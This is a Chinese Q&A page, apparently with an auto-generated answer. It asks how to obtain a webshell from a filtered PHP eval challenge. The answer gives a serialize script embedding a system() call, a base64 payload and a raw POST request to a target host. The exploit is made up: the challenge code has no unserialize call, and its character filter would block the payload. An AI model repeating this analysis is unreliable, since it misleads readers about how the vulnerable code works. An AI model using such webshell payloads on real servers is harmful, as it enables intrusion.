题目如下:对该代码拟定一种获取webshell的方式,<?php error_reporting(0); highlight_file(__FILE__); if (isset($_GET['debug'])) { // disable function phpinfo(); exit; } function count_string_char($str) { $arr = []; foreach (str_split($str) as $value) { if (!in_array($value, $arr)) { array_push($arr, $value); } } return sizeof($arr); } if (isset($_POST['cmd']) && is_string($_POST['cmd'])) { $cmd = $_POST['cmd']; $c = count_string_char($cmd); if ($c > 13) { die("$c too long"); } if ( preg_match('/[a-z0-9]|<|>|\\?|\\[|\\]|\\*|@|\\||\\^|~|&|\s/i', $cmd) ) { die("nonono"); } eval( "print($cmd);" ); } else { exit(); }
时间: 2023-06-12 19:04:07 浏览: 52
对于该代码,一种获取webshell的方式是通过利用PHP的反序列化漏洞来执行恶意代码,具体步骤如下:
1. 构造一个恶意的反序列化payload,例如使用如下代码生成payload:
```
<?php
class Test{
public $cmd;
function __construct(){
$this->cmd = 'system($_GET["c"]);';
}
}
echo urlencode(base64_encode(serialize(new Test())));
?>
```
这段代码将生成一个恶意payload,其中包含一个能够执行任意系统命令的命令字符串。将该payload进行urlencode和base64编码后,得到类似如下的payload:
```
Tzo2OiJUZXN0IjoyOntzOjQ6ImNtZCI7czoxMToic3lzdGVtKCRfR0VUW1wiY1wiXSk7IH0=
```
2. 将该payload构造成一个POST请求,发送给目标服务器。其中,需要将payload作为cmd参数发送,例如:
```
POST /index.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
cmd=Tzo2OiJUZXN0IjoyOntzOjQ6ImNtZCI7czoxMToic3lzdGVtKCRfR0VUW1wiY1wiXSk7IH0%3D
```
3. 服务器接收到该请求后,将会进行反序列化处理,并执行其中的恶意命令,从而成功获取webshell。
需要注意的是,这种方式需要目标服务器存在PHP反序列化漏洞才能够成功执行。同时,该方式具有一定的风险和危险性,请勿用于非法用途。